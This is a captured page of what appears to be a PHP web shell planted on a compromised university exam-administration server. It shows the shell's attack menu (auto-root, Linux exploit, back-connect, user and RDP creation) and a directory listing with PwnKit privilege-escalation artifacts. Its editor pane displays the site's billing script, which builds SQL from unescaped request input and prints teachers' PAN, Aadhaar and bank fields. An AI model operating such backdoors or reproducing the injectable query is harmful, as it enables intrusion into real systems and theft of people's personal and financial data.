Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.15.0.242
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
univadmin /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
assets
[ DIR ]
drwxrwxr-x
phpseclib3
[ DIR ]
drwxrwxr-x
razorpay
[ DIR ]
drwxr-xr-x
wordlib
[ DIR ]
drwxrwxr-x
.mad-root
0
B
-rw-r--r--
AdmStrFeeReport.php
10.18
KB
-rwxr-xr-x
CreateUserType.php
4.13
KB
-rwxr-xr-x
Demo_Screen.php
2.37
KB
-rw-rw-r--
ECH_Pushnotif_bcu.php
2.17
KB
-rwxr-xr-x
ExamStats.php
2.21
KB
-rwxr-xr-x
ExmStatsSumm.php
1.85
KB
-rwxr-xr-x
NewLoginPage.php
3.85
KB
-rw-rw-r--
PaytmChecksum.php
3.91
KB
-rw-rw-r--
QPDegreeGroup.php
2.48
KB
-rw-r--r--
QPMaster.php
3.95
KB
-rw-r--r--
RVRTFeeUpdate.php
5.75
KB
-rwxr-xr-x
Tickets.php
7.99
KB
-rw-rw-r--
UpdateScanCodeList.php
1.11
KB
-rwxr-xr-x
acknowlege_direct.php
3.7
KB
-rw-r--r--
activateTT.php
2.07
KB
-rwxr-xr-x
admLogin.php
1.32
KB
-rw-rw-r--
admStats.php
414
B
-rwxr-xr-x
admStatsCollwise.php
4.78
KB
-rwxr-xr-x
admStatsDegwise.php
2.4
KB
-rwxr-xr-x
adm_admin.php
11.8
KB
-rw-r--r--
admapprove.php
7.75
KB
-rw-r--r--
admdet.php
1.17
KB
-rw-r--r--
admin-Copy.html
5.68
KB
-rwxr-xr-x
admisiondegree.php
1.52
KB
-rw-rw-r--
appNotification.php
3.46
KB
-rwxr-xr-x
approvestudename.php
2.71
KB
-rw-rw-r--
assignUserMenus.php
4.11
KB
-rwxr-xr-x
attend_block.php
3.46
KB
-rw-r--r--
attendance_report.php
7.64
KB
-rw-r--r--
attshortupdate.php
4.27
KB
-rw-rw-r--
attupd.php
2.4
KB
-rwxr-xr-x
avlQP.php
6.59
KB
-rw-rw-r--
bkmhconfirm.php
3.86
KB
-rw-r--r--
boardMaster.php
6.74
KB
-rwxr-xr-x
boardMember.php
1.89
KB
-rw-rw-r--
bundNotRecvRprt.php
6.92
KB
-rwxrwxrwx
bundRecvReport.php
6.92
KB
-rwxr-xr-x
bundleReceive.php
1.11
KB
-rwxr-xr-x
bundledispatchrpt.php
2.66
KB
-rw-r--r--
caccesscontext.php
1.24
KB
-rwxr-xr-x
cappcontext.php
4.58
KB
-rwxr-xr-x
cappcontext1.php
3.64
KB
-rwxr-xr-x
category.php
1.33
KB
-rwxr-xr-x
centrealloction.php
1.37
KB
-rw-r--r--
centrereports.php
2.36
KB
-rw-r--r--
certificatestatus.php
13.08
KB
-rw-r--r--
changeMobile.php
3.74
KB
-rwxr-xr-x
changePasswd.php
1.23
KB
-rwxr-xr-x
checkMob.php
961
B
-rw-r--r--
code39.php
6.38
KB
-rwxr-xr-x
collegeSubjects.php
3.2
KB
-rwxr-xr-x
college_list.php
5.93
KB
-rwxr-xr-x
college_reports.php
17.63
KB
-rwxr-xr-x
collegemasters.php
1.36
KB
-rw-r--r--
collegereports.php
6.21
KB
-rw-r--r--
combSubjects.php
711
B
-rwxr-xr-x
combination.php
6.04
KB
-rwxr-xr-x
compileQpIndent.php
7.89
KB
-rw-rw-r--
compileQpIndent_22032022.php
7.99
KB
-rwxr-xr-x
compileQpIndent_old.php
4.43
KB
-rwxr-xr-x
constants.php
818
B
-rwxr-xr-x
convoedit.php
7.43
KB
-rwxr-xr-x
coutput.php
1.75
KB
-rwxr-xr-x
createExam.php
4.85
KB
-rw-r--r--
createGroup.php
8.88
KB
-rwxr-xr-x
createReval.php
860
B
-rw-r--r--
createTemp.php
7.84
KB
-rw-r--r--
createUser.php
8.04
KB
-rwxr-xr-x
createboard.php
3.16
KB
-rw-rw-r--
createboe.php
6.19
KB
-rwxrwxrwx
creditMaster.php
2.31
KB
-rwxr-xr-x
crequestbroker.php
2.53
KB
-rwxr-xr-x
csessions.php
514
B
-rwxr-xr-x
cuser.php
3.41
KB
-rwxr-xr-x
cuser1.php
3.41
KB
-rwxr-xr-x
customappcontext.php
2.35
KB
-rwxr-xr-x
dailyFeeReport.php
11.59
KB
-rw-r--r--
dailyValuation.php
1.6
KB
-rwxr-xr-x
dashboard.php
3
KB
-rwxr-xr-x
dashboardNew.php
31.38
KB
-rw-rw-r--
dateMaster.php
3.1
KB
-rwxr-xr-x
dateupdate.php
8.88
KB
-rw-rw-r--
decodngstats.php
656
B
-rw-rw-r--
define_heads.php
1.89
KB
-rw-rw-r--
degcollege.php
7.32
KB
-rwxr-xr-x
deggrp.php
13.84
KB
-rwxr-xr-x
deggrpNew.php
2.74
KB
-rw-r--r--
degree.php
3.34
KB
-rwxr-xr-x
degreeEntry.php
5.46
KB
-rwxr-xr-x
degreeLoad.php
12.26
KB
-rw-rw-r--
dispatchmarkscard.php
19.14
KB
-rwxrwxrwx
drawer.php
552
B
-rw-rw-r--
dropDownOptions.php
400
B
-rwxr-xr-x
eGovSignin.php
5.09
KB
-rwxr-xr-x
error_log.php
749
B
-rwxr-xr-x
examAttendance.php
23.9
KB
-rwxr-xr-x
examCntr.php
6.73
KB
-rwxr-xr-x
examCntrdurexm.php
5.95
KB
-rwxr-xr-x
examHappeningCentre.php
22.44
KB
-rwxr-xr-x
examTimetable.php
26.1
KB
-rwxr-xr-x
examTimetableErrorReport.php
7.77
KB
-rwxr-xr-x
exam_app_acknowledge.php
8.41
KB
-rw-rw-r--
examapprpt.php
2.93
KB
-rw-r--r--
examattendanceunivadmin.php
19.73
KB
-rwxr-xr-x
exceptionhandler.php
236
B
-rwxr-xr-x
fee-str.php
17.11
KB
-rwxr-xr-x
fee_summary_report.php
43.28
KB
-rwxr-xr-x
fee_summary_report_090120202.p...
43.79
KB
-rwxr-xr-x
feedback.php
2.97
KB
-rw-rw-r--
finalQp.php
12.7
KB
-rw-rw-r--
financeMenuItems.php
1.51
KB
-rw-rw-r--
format.php
7.43
KB
-rwxr-xr-x
freezeTimetable.php
3.37
KB
-rwxrwxrwx
generatebill_acu.php
21.07
KB
-rw-r--r--
generatebill_new.php
29.07
KB
-rw-r--r--
getBoards.php
1.34
KB
-rwxr-xr-x
getDegSemList.php
7.75
KB
-rwxr-xr-x
getFaculty.php
602
B
-rwxr-xr-x
getMenus.php
4.25
KB
-rwxr-xr-x
getNotifications.php
1.13
KB
-rwxr-xr-x
getQPdet.php
7
KB
-rw-rw-r--
getRvPcReport.php
4.99
KB
-rwxr-xr-x
getStudentRegisteredReport.php
8.91
KB
-rw-rw-r--
getUnivName.php
516
B
-rw-r--r--
get_result_table.php
109
B
-rw-r--r--
getdeggrpvalcntr.php
1.88
KB
-rw-rw-r--
getinwordstatus.php
3.46
KB
-rw-rw-r--
getpgetSavedData.php
4.29
KB
-rwxr-xr-x
getrvpc.php
8.89
KB
-rw-r--r--
getstuddetforrt.php
5.85
KB
-rw-rw-r--
getunivs.php
816
B
-rwxr-xr-x
groupMessages.php
9.1
KB
-rwxr-xr-x
grv.php
12.23
KB
-rwxrwxrwx
holidayListing.php
696
B
-rwxr-xr-x
holidayMaster.php
2.11
KB
-rwxr-xr-x
hostNotification.php
1.61
KB
-rwxr-xr-x
htdwonload.php
7.5
KB
-rwxr-xr-x
iNeedHelp.php
3.02
KB
-rwxr-xr-x
iamarkssummary.php
6.25
KB
-rw-rw-r--
insertOrEditCollege.php
21.88
KB
-rwxr-xr-x
inward.php
3.09
KB
-rwxr-xr-x
json.php
33.2
KB
-rwxr-xr-x
jwt.php
13.16
KB
-rwxr-xr-x
kswuomr.php
2.8
KB
-rw-rw-r--
lastDateUpdate.php
4.23
KB
-rwxr-xr-x
lastDateUpdateCorrection.php
4.96
KB
-rw-rw-r--
ledgerview.php
3.79
KB
-rwxrwxrwx
loadclgdettab.php
2.26
KB
-rw-rw-r--
loadclgnm.php
1.3
KB
-rw-rw-r--
loaddegdet.php
1.45
KB
-rw-rw-r--
loaddegreedettab.php
2.49
KB
-rw-rw-r--
loadupdclgnm.php
741
B
-rw-rw-r--
log.php
521
B
-rw-rw-r--
login.php
1.72
KB
-rwxr-xr-x
loginDet.php
1.04
KB
-rw-r--r--
loginDetails.php
842
B
-rw-r--r--
loginattendance.php
2.21
KB
-rw-r--r--
marks_enter.php
5.74
KB
-rw-rw-r--
marksentryupdate.php
4.78
KB
-rw-r--r--
marksmodreport.php
1.49
KB
-rw-rw-r--
masQP.php
3.37
KB
-rwxr-xr-x
masterDegree.php
1.16
KB
-rw-r--r--
mcfverify.php
6.65
KB
-rw-r--r--
mpcmanage.php
5.2
KB
-rw-rw-r--
mregistry.php
125.5
KB
-rwxrwxrwx
mregistry.php.orig
39.87
KB
-rwxr-xr-x
mregistry_01042021.php
45.75
KB
-rwxr-xr-x
mregistry_arun.php
18.94
KB
-rwxr-xr-x
mregistry_old.php
6.82
KB
-rwxr-xr-x
mregistry_old_03072020.php
33.09
KB
-rwxr-xr-x
mregistry_old_08052020.php
29.86
KB
-rwxr-xr-x
notificationPush.php
9.36
KB
-rwxr-xr-x
oldquestionpaper.php
5.03
KB
-rw-rw-r--
omrqnentry.php
17.52
KB
-rw-rw-r--
online-test.php
12.77
KB
-rwxr-xr-x
orderReportExcel.php
7.35
KB
-rw-rw-r--
paymentReport.php
3.64
KB
-rwxr-xr-x
pgetDashboard.php
0
B
-rwxr-xr-x
pgprevmarks.php
13.41
KB
-rw-r--r--
photoCrop.php
5.57
KB
-rwxr-xr-x
practicalMarks.php
7.09
KB
-rw-rw-r--
prbatchdet.php
3.26
KB
-rwxr-xr-x
preparethqp.php
20.89
KB
-rw-rw-r--
prifreeze.php
3.11
KB
-rw-rw-r--
pushmarks.php
1.18
KB
-rw-rw-r--
pushnitification.php
9.89
KB
-rwxr-xr-x
pushnotif_ra.php
5.59
KB
-rwxr-xr-x
pwnkit
0
B
-rwxr-xr-x
qpIndent.php
37.42
KB
-rwxr-xr-x
qpIndent_04032019.php
15.36
KB
-rwxr-xr-x
qpIndent_old.php
37.05
KB
-rwxr-xr-x
qp_dashboard.php
11.45
KB
-rw-rw-r--
qp_issue.php
8.46
KB
-rw-rw-r--
qp_setter.php
76.37
KB
-rw-r--r--
qp_setter_new.php
53.28
KB
-rw-r--r--
qpboardupdate.php
4.26
KB
-rw-rw-r--
qpcrosscheck.php
11.96
KB
-rw-r--r--
qpdaylog.php
433
B
-rw-rw-r--
qpindentstudlist.php
11.16
KB
-rw-r--r--
qplog.php
938
B
-rw-rw-r--
qpschemeupload.php
5.84
KB
-rw-rw-r--
qpsetterteach.php
22.96
KB
-rw-rw-r--
qpsummary.php
7.01
KB
-rw-rw-r--
qpsummarynew.php
4.58
KB
-rw-rw-r--
qptranlogin.php
1.84
KB
-rw-rw-r--
qptranmenu.php
2.22
KB
-rw-rw-r--
qptranqpupd.php
1.36
KB
-rw-r--r--
qpupload.php
8.11
KB
-rwxrwxrwx
qpupload_240621.php
6.49
KB
-rwxr-xr-x
rauspush.php
4.03
KB
-rw-r--r--
razorPayConfig.php
250
B
-rwxr-xr-x
reasonMaster.php
1.73
KB
-rwxr-xr-x
receivescript.php
8.15
KB
-rw-rw-r--
refund.php
2.68
KB
-rwxr-xr-x
register_rrit.php
24.18
KB
-rw-r--r--
releaseTimetable.php
5.93
KB
-rwxrwxrwx
reports_bkp.php
12.25
KB
-rwxr-xr-x
resultStats.php
4.69
KB
-rwxr-xr-x
result_pushnotif_bcu.php
2.33
KB
-rwxr-xr-x
result_pushnotif_bnu.php
2.33
KB
-rwxr-xr-x
result_pushnotif_dud.php
2.33
KB
-rwxr-xr-x
result_pushnotif_kus.php
2.33
KB
-rwxr-xr-x
result_pushnotif_rcub.php
2.33
KB
-rwxr-xr-x
resultdate.php
6.39
KB
-rw-rw-r--
resultsApp.php
55
B
-rwxr-xr-x
results_new.php
31.65
KB
-rw-r--r--
resultstat.php
1.72
KB
-rw-r--r--
resultstatsrpt.php
13.82
KB
-rwxr-xr-x
retBatchDet.php
955
B
-rwxr-xr-x
rotation.php
596
B
-rwxr-xr-x
ruaspush.php
618
B
-rw-rw-r--
rvMarksEntry.php
4.78
KB
-rwxrwxrwx
rvStatus.php
7.69
KB
-rw-rw-r--
rv_result_pushnotif_bcu.php
1.96
KB
-rwxr-xr-x
rvpc.php
1.76
KB
-rw-rw-r--
rvrtReport.php
12.39
KB
-rwxr-xr-x
rvrt_Block.php
3.23
KB
-rw-r--r--
rvrtapp.php
22.11
KB
-rw-r--r--
rvrtblock.php
2.97
KB
-rw-rw-r--
saveAbstractForm.php
8.03
KB
-rw-r--r--
saveBKMCStdDet.php
2.22
KB
-rw-r--r--
saveBankDetails.php
1.64
KB
-rwxr-xr-x
saveBarcodeDeatils.php
2.87
KB
-rwxr-xr-x
saveDegSemDet.php
14.09
KB
-rwxr-xr-x
saveFinbkmh.php
2.1
KB
-rw-r--r--
savePGETApp.php
4.45
KB
-rwxr-xr-x
savePostNotification.php
2.94
KB
-rwxr-xr-x
scheduleqp.php
4.02
KB
-rw-rw-r--
script.php
14.27
KB
-rwxr-xr-x
sdqpmenus.php
163
B
-rw-rw-r--
searchregcode.php
5.17
KB
-rw-rw-r--
selectFinalQpNew.php
4.69
KB
-rw-rw-r--
sendGridMail.php
1.72
KB
-rwxr-xr-x
sendOTP.php
5.51
KB
-rw-r--r--
sendOrder.php
12.9
KB
-rw-r--r--
sendnotification.php
0
B
-rwxr-xr-x
sendsms.php
13.19
KB
-rwxr-xr-x
sendsms_05092020.php
4.34
KB
-rwxr-xr-x
sendsms_15022019.php
6.66
KB
-rwxr-xr-x
sendsms_27012018.php
4.3
KB
-rwxr-xr-x
sendsmsapi.php
802
B
-rwxr-xr-x
sendzohomail.php
1.55
KB
-rw-rw-r--
session_start.php
149
B
-rw-r--r--
session_start_rr.php
430
B
-rw-r--r--
sessionmaster.php
1.49
KB
-rw-r--r--
setDGExamTimetableReport.php
20.84
KB
-rwxr-xr-x
setDGExamTimetableReport_bcu_p...
11.51
KB
-rwxr-xr-x
setExamTimetable.php
5.01
KB
-rwxr-xr-x
setExamTimetableReport.php
9.05
KB
-rwxr-xr-x
settlement.php
9.06
KB
-rw-rw-r--
sms-new.php
28.07
KB
-rw-rw-r--
sms-notification.php
21.17
KB
-rwxr-xr-x
ssp_error_data.php
31.1
KB
-rwxrwxrwx
sspdata-auto-upload.php
11.12
KB
-rwxr-xr-x
sspdata.php
23.87
KB
-rwxr-xr-x
sspdata1.php
11.41
KB
-rw-rw-r--
sspdata1_rcub.php
13.96
KB
-rw-rw-r--
std_registrtion.php
1.4
KB
-rw-rw-r--
studReg.php
1.64
KB
-rw-r--r--
stud_ack.php
10.89
KB
-rw-rw-r--
student.php
26.37
KB
-rwxr-xr-x
studexamappblock.php
1.18
KB
-rw-rw-r--
studymaterial.php
3.07
KB
-rwxrwxrwx
subject.php
2.42
KB
-rwxr-xr-x
subjectEntryScrn.php
8
KB
-rwxr-xr-x
subjectFreeze.php
4.91
KB
-rw-rw-r--
sublisting.php
2.39
KB
-rw-rw-r--
tdvsCreatePanel.php
1.26
KB
-rw-r--r--
tdvsQPteach.php
2.17
KB
-rw-r--r--
tdvsViewStatus.php
3.52
KB
-rw-rw-r--
tdvs_Deviation.php
8.7
KB
-rw-rw-r--
tdvs_batch.php
6.35
KB
-rw-rw-r--
tdvs_createuser.php
6.61
KB
-rw-rw-r--
tdvs_dashboard.php
3.67
KB
-rw-rw-r--
tdvs_generateBill.php
15.79
KB
-rw-rw-r--
tdvs_mail.php
5.93
KB
-rw-rw-r--
tdvs_pergeval.php
14.43
KB
-rw-rw-r--
tdvs_register.php
1.57
KB
-rw-rw-r--
tdvs_resetVal.php
2.42
KB
-rw-rw-r--
tdvs_saveRecieveQPCount.php
3.55
KB
-rwxr-xr-x
tdvs_saveScript.php
12.32
KB
-rw-r--r--
tdvs_script_cross_check.php
9.41
KB
-rw-r--r--
tdvs_stats.php
21.7
KB
-rw-rw-r--
tdvs_subject.php
4.43
KB
-rw-rw-r--
tdvs_subjectcreate.php
6.07
KB
-rw-rw-r--
tdvs_teacher_valdet.php
2.87
KB
-rw-rw-r--
tdvs_teacherpanel.php
3.38
KB
-rw-rw-r--
tdvs_teachval.php
1.88
KB
-rw-rw-r--
tdvs_teachwisevaldet.php
6.4
KB
-rw-rw-r--
tdvs_valcenter.php
2.84
KB
-rw-rw-r--
tdvs_valuation.php
51.87
KB
-rw-rw-r--
tdvs_verifyqppattern.php
1.03
KB
-rw-rw-r--
tdvsdecoding.php
52.77
KB
-rw-rw-r--
teachReport.php
5.27
KB
-rwxr-xr-x
teachValBill.php
990
B
-rwxr-xr-x
teachcoderange.php
1.71
KB
-rw-rw-r--
teacherEmail.php
20.94
KB
-rw-rw-r--
teacherEntry.php
75.04
KB
-rw-rw-r--
teacherid.php
2
KB
-rw-rw-r--
teachval.php
8.56
KB
-rwxr-xr-x
teachvaluationcount.php
21.07
KB
-rw-rw-r--
teachworkapi.php
2.37
KB
-rwxr-xr-x
teachworksum.php
2.42
KB
-rwxr-xr-x
timetablesownload.php
9.98
KB
-rwxr-xr-x
timetablesownload_29062019.php
10.51
KB
-rwxr-xr-x
ttUpload.php
2.5
KB
-rwxr-xr-x
uChangeEmail.php
4.38
KB
-rwxr-xr-x
uChangeMobNum.php
5.17
KB
-rwxr-xr-x
uChangeRegNum.php
4.04
KB
-rwxr-xr-x
uDegPassCrit.php
1.32
KB
-rwxr-xr-x
uDeleteSpecificCollege.php
611
B
-rwxr-xr-x
uExamApplication.php
907
B
-rwxr-xr-x
uExamApplicationForm.php
30.97
KB
-rwxr-xr-x
uForgotPws.php
4.85
KB
-rwxr-xr-x
uGetDetailResult.php
2.17
KB
-rwxr-xr-x
uGetExamCenter.php
1.04
KB
-rwxr-xr-x
uGetResult.php
26.94
KB
-rwxr-xr-x
uGetResultSemester.php
896
B
-rwxr-xr-x
uGetSpecificCollege.php
1.43
KB
-rwxr-xr-x
uGrievances.php
2.97
KB
-rwxr-xr-x
uHallticket.php
5.33
KB
-rwxr-xr-x
uIAMarks.php
3.41
KB
-rwxr-xr-x
uINeedHelp.php
2.82
KB
-rwxr-xr-x
uInsertOrUpdateCollegeDetails....
2.42
KB
-rwxr-xr-x
uMenu_new.php
2.27
KB
-rwxr-xr-x
uNotification.php
3.1
KB
-rwxr-xr-x
uOldQuestionPaper.php
3.46
KB
-rwxr-xr-x
uPracticaltt.php
2.41
KB
-rwxr-xr-x
uProfile.php
1.27
KB
-rwxr-xr-x
uRegistration.php
17.36
KB
-rwxr-xr-x
uRevaluation.php
26.39
KB
-rwxr-xr-x
uRvAppStatus.php
2.42
KB
-rwxr-xr-x
uSubjectList.php
1.53
KB
-rwxr-xr-x
uSupport.php
1023
B
-rwxr-xr-x
uTheorytt.php
2.5
KB
-rwxr-xr-x
uansbookdet.php
2.85
KB
-rwxr-xr-x
uansbookdet0.php
11.83
KB
-rwxr-xr-x
uansbookupdate.php
1.29
KB
-rwxr-xr-x
ulogin.php
2.53
KB
-rwxr-xr-x
ultRoomDet.php
1.96
KB
-rw-rw-r--
umenu.php
1.07
KB
-rwxr-xr-x
uniAttEntry.php
1.03
KB
-rw-rw-r--
uniContctFrom.php
1.29
KB
-rwxr-xr-x
univRefund.php
9.81
KB
-rwxr-xr-x
unotification.php
3.1
KB
-rwxr-xr-x
upcomingnotification.php
4.55
KB
-rw-rw-r--
updateIAMarks.php
1.42
KB
-rw-rw-r--
updateRvPcChkList.php
1.13
KB
-rwxr-xr-x
update_dates.php
11.89
KB
-rw-rw-r--
upload-sms-excel.php
3.58
KB
-rwxr-xr-x
uploadAnsBook.php
4.5
KB
-rwxr-xr-x
uploadCodeSlips.php
4.1
KB
-rw-r--r--
uploadData.php
6.24
KB
-rwxr-xr-x
uploadDummy.php
761
B
-rw-rw-r--
uploadFile.php
388
B
-rw-rw-r--
uploadMCdetails.php
4.17
KB
-rw-r--r--
uploadMultipleFiles.php
4.03
KB
-rwxr-xr-x
uploadSSPData.php
5.9
KB
-rw-rw-r--
uploadSSPData_bonf.php
11.86
KB
-rw-rw-r--
upload_ans_book.php
5.25
KB
-rwxr-xr-x
upload_qp.php
1.85
KB
-rw-rw-r--
uploadbackup.php
5.16
KB
-rw-rw-r--
uploadcorr_qp.php
6.21
KB
-rw-rw-r--
uploadcorrdoc.php
4.09
KB
-rw-r--r--
uploadpwd.php
3.75
KB
-rw-r--r--
uploadqp.php
6.61
KB
-rw-r--r--
uploadqpMultipleFiles.php
678
B
-rw-rw-r--
uploadscripts.php
333
B
-rw-rw-r--
utils.php
4.19
KB
-rw-rw-r--
uucmsdecoding.php
1.86
KB
-rw-rw-r--
valuatordet.php
3.29
KB
-rwxr-xr-x
verify.php
9.57
KB
-rw-rw-r--
verifyapponlineserv.php
3.18
KB
-rwxr-xr-x
viewTimeTabledurExm.php
3.84
KB
-rwxr-xr-x
viewexamcentrenew.php
20.44
KB
-rw-r--r--
viewfootnote.php
1.97
KB
-rw-r--r--
viewteachattendance.php
2.18
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : generatebill_new.php
<?php $main_src = substr($_SERVER['SCRIPT_FILENAME'], 0, strlen($_SERVER['SCRIPT_FILENAME']) - 7); $pdf_writer_class = $main_src . "/tcpdf/tcpdf.php"; require_once $pdf_writer_class; ini_set('max_execution_time', '300'); include('getnumword.php'); // ini_set('memory_limit','900M'); // ini_set('max_execution_time',0); class MYPDF extends TCPDF { public function Header($resbill) { // get the current page break margin $bMargin = $this->getBreakMargin(); // get current auto-page-break mode $auto_page_break = $this->AutoPageBreak; // disable auto-page-break $this->SetAutoPageBreak(false, 0); $this->SetTitle("VALUATION BILL"); // set bacground image $this->SetFillColor(248, 248, 255); $img_path = $this->aobj_context->main_src . "/img/".$this->aobj_context->FUNIVCODE."_logo.jpg"; if (file_exists($img_path)) { $this->Image($img_path, 6, 6, 25, 25); } $this->SetFont('Times', 'B', 14); $this->SetY(5); $this->Cell(0, 7, $this->aobj_context->FUNIVNAME, 0, 1, 'C'); //state $this->SetFont('Times', 'B', 11); $this->Cell(0, 4, $this->aobj_context->s_state, 0, 1, 'C'); $this->SetFont('Times', 'B', 12); if($this->aobj_context->FUNIVCODE == '033' || $this->aobj_context->FUNIVCODE == '040') { $this->Cell(0, 7, 'REMUNERATION BILL', '0', 1, 'C'); }else $this->Cell(0, 7, 'TRAVELLING ALLOWANCE AND REMUNERATION BILL', '0', 1, 'C'); // restore auto-page-break status $this->SetAutoPageBreak($auto_page_break, $bMargin); // set the starting point for the page content } public function Footer() { $this->SetY(-15); $this->SetFont('helvetica', 'I', 8); // var_dump(); if($this->CurOrientation == 'P') { $this->Cell(60, 10, 'IP : ' . $_SERVER["REMOTE_ADDR"], 0, 0, 'L'); $this->Cell(60, 10, 'Date : ' . date("d-m-Y h:i:s A"), 0, 0, 'C'); $this->Cell(60, 10, 'Page ' . $this->getPageNumGroupAlias() . '/' . $this->getPageGroupAlias(), 0, 1, 'R'); } else { $this->Cell(90, 10, 'IP : ' . $_SERVER["REMOTE_ADDR"], 0, 0, 'L'); $this->Cell(90, 10, 'Date : ' . date("d-m-Y h:i:s A"), 0, 0, 'C'); $this->Cell(90, 10, 'Page ' . $this->getPageNumGroupAlias() . '/' . $this->getPageGroupAlias(), 0, 1, 'R'); } } } class ReprtObject { public function DefaultConstructor($aobj_context) { $this->aobj_context = $aobj_context; $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $this->ip = $_SERVER["REMOTE_ADDR"]; $get_date = "select DATE_FORMAT(now(), '%d/%m/%Y') as now_date"; $obj = $this->aobj_context->mobj_db->GetRow($get_date); $this->reportType = $aobj_context->mobj_data["rtype"]; $get_coll_name = "select FUNIVNAME as FUNIVNAME,FUNIVCODE, FUNIVADD1 as state, pdf_logo_path, ifnull(FEXAMAPPREQ,'F') as FEXAMAPPREQ From control"; $lobj_get_coll_name = $aobj_context->pobj_db->GetRow($get_coll_name); // var_dump($lobj_get_coll_name); // die(); $aobj_context->FUNIVNAME = $lobj_get_coll_name['FUNIVNAME']; $aobj_context->s_state = $lobj_get_coll_name['state']; $aobj_context->pdf_logo_path = $lobj_get_coll_name['pdf_logo_path']; $aobj_context->FUNIVCODE = $lobj_get_coll_name['FUNIVCODE']; $this->current_date = $obj['now_date']; $deggrp = $this->aobj_context->mobj_data["deggrp"]; $get_coll_name = "select concat(fdeggrp, ' - ', fdescpn) as fdeggrp from deggrp where fdeggrp = '{$deggrp}'"; $lobj_get_degree = $this->aobj_context->pobj_db->GetRow($get_coll_name); $aobj_context->deggrp = $lobj_get_degree['fdeggrp']; $this->pdf = new MYPDF('P'); $this->pdf->aobj_context = $aobj_context; } public function Report($res3,$result1,$res2,$admfee,$resbill) { $pdf = $this->pdf; $pdf->SetMargins(15, 25); $pdf->startPageGroup(); $pdf->AddPage("P"); $pdf->SetFont('Times','B',13); $pdf->Cell(0, 5,$resbill['fexamdate'].' EXAMINATION', '0', 1, 'C'); $pdf->ln(3); $pdf->SetFont('Times','',10); // if($res3 == 'INTERNAL'){ // $pdf->SetFont('Times','BU',15); // $pdf->Cell(0, 7, 'There is no Bill for Internal Examiners', '0', 1, 'C'); // return; // } ; if($this->aobj_context->FUNIVCODE == '040') { $table1 = '<style> td { border: 0.5px solid black; } .lable { font-weight: bold; } </style> <table cellpadding="3" cellspacing="0"> <tr nobr="true"> <td width="135" style="text-align: left;"><b>Bill No</b></td> <td width="165" style="text-align: left;">'.$resbill['fbillno'].'</td> <td width="105" style="text-align: left;"><b>Bill Date</b></td> <td width="135" style="text-align: left;">'.$this->current_date.'</td> </tr>'; }else { $table1 = '<style> td { border: 0.5px solid black; } .lable { font-weight: bold; } </style> <table cellpadding="3" cellspacing="0"> <tr nobr="true"> <td width="135" style="text-align: left;"><b>Bill No</b></td> <td width="165" style="text-align: left;">'.$resbill['fbillno'].'</td> <td width="105" style="text-align: left;"><b>Bill Date</b></td> <td width="135" style="text-align: left;">'.$resbill['fbilldate'].'</td> </tr>'; } // <td width="105" style="text-align: left;"><b>Status</b></td> // <td width="135" style="text-align: left;">'.$res3['fscale'].'</td> $table1 .='<tr nobr="true"> <td width="135" style="text-align: left;"><b>Teacher Name</b></td> <td width="405" style="text-align: left;">'.$res3['fteachname'].'</td> </tr>'; $table1 .='<tr nobr="true"> <td width="135" style="text-align: left;"><b>Examiner Type</b></td> <td width="165" style="text-align: left;">'.$res3['FEXAMINER'].'</td> <td width="105" style="text-align: left;"><b>Board</b></td> <td width="135" style="text-align: left;">'.$res3['fboard'].'</td> </tr>'; if($this->aobj_context->FUNIVCODE == '040') { $table1 .='<tr nobr="true"> <td width="135" style="text-align: left;"><b>Department</b></td> <td width="405" style="text-align: left;">'.$res3['FDEPTCODE'].'</td> </tr>'; $table1 .='<tr nobr="true"> <td width="135" style="text-align: left;"><b>College</b></td> <td width="405" style="text-align: left;">'.$res3['FCOLLEGE'].'</td> </tr>'; } $table1 .='<tr nobr="true"> <td width="135" style="text-align: left;"><b>Address</b></td> <td width="405" style="text-align: left;">'.$res3['faddress'].'</td> </tr>'; $table1 .='<tr nobr="true"> <td width="135" style="text-align: left;"><b>Mobile No</b></td> <td width="165" style="text-align: left;">'.$res3['fmobile'].'</td> <td width="105" style="text-align: left;"><b>E Mail</b></td> <td width="135" style="text-align: left;">'.$res3['femail'].'</td> </tr>'; $table1 .='<tr nobr="true"> <td width="135" style="text-align: left;"><b>PAN No</b></td> <td width="165" style="text-align: left;">'.$res3['fpanno'].'</td> <td width="105" style="text-align: left;"><b>Aadhar No</b></td> <td width="135" style="text-align: left;">'.$res3['faadharno'].'</td> </tr>'; $table1 .='<tr nobr="true"> <td width="135" style="text-align: left;"><b>Bank Account No</b></td> <td width="165" style="text-align: left;">'.$res3['faccno'].'</td> <td width="105" style="text-align: left;"><b>IFSC Code</b></td> <td width="135" style="text-align: left;">'.$res3['fifsccode'].'</td> </tr>'; if($this->aobj_context->FUNIVCODE == '040') { $table1 .='<tr nobr="true"> <td width="135" style="text-align: left;"><b>Date of Valuation</b></td> <td width="405" style="text-align: left;">'.$res3['fvaldates'].'</td> </tr>'; } $table1 .= '</table>'; $pdf->SetX(11); $pdf->writeHTML($table1, false, true, false, false, 'L'); $pdf->ln(3); $pdf->SetFont('Times', 'B', 13); if($this->aobj_context->FUNIVCODE == '033') { $pdf->Cell(0, 5, 'HONORARIUM / DAILY ALLOWANCE', '0', 1, 'C'); }else if($this->aobj_context->FUNIVCODE == '027') { $pdf->Cell(0, 5, 'Details of Allowance (HOA : 5204)', '0', 1, 'C'); }else if($this->aobj_context->FUNIVCODE == '040') { $pdf->Cell(0, 5, 'Details of Remuneration', '0', 1, 'C'); } else { $pdf->Cell(0, 5, 'Details of Allowance', '0', 1, 'C'); } $pdf->SetFont('Times', '', 14); $pdf->SetFont('Times','',10); $x = $pdf->GetX(); $y = $pdf->GetY(); $pdf->writeHTMLCell(188,0,$x,$y,$html, false,1, false, true, '', false); $totrem = $res2['fremunration'] + $res2['rfremunration']; if($this->aobj_context->FUNIVCODE == '040') { if($totrem <$res2['FMINAMOUNT']) $totrem 